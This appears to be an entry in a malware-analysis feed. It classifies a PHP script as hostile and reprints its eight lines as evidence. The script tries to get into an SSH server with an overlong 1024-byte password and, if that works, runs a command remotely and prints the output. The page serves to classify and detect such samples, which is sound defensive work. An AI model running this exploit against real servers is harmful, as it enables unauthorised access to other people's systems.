Hostile 100% php Download

php_ssh2_1024.php

PHP SSH remote exec via overlong passwordSSH password auth with 257-1024 byte secret
SHA-2564e47a059ad9f9aa796957a216715660d0cc20007906e2484914866d0eb5b1429

Evidence

Authenticates with PHP ssh2 or phpseclib lines 1–8
1<?php
2$conn = ssh2_connect($argv[1], 22);
3@ssh2_auth_password($conn, $argv[2], "wrong");
4if (ssh2_auth_password($conn, $argv[2], str_repeat("X", 1024))) {
5 $stream = ssh2_exec($conn, "id");
6 stream_set_blocking($stream, true);
7 echo stream_get_contents($stream);
8}

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.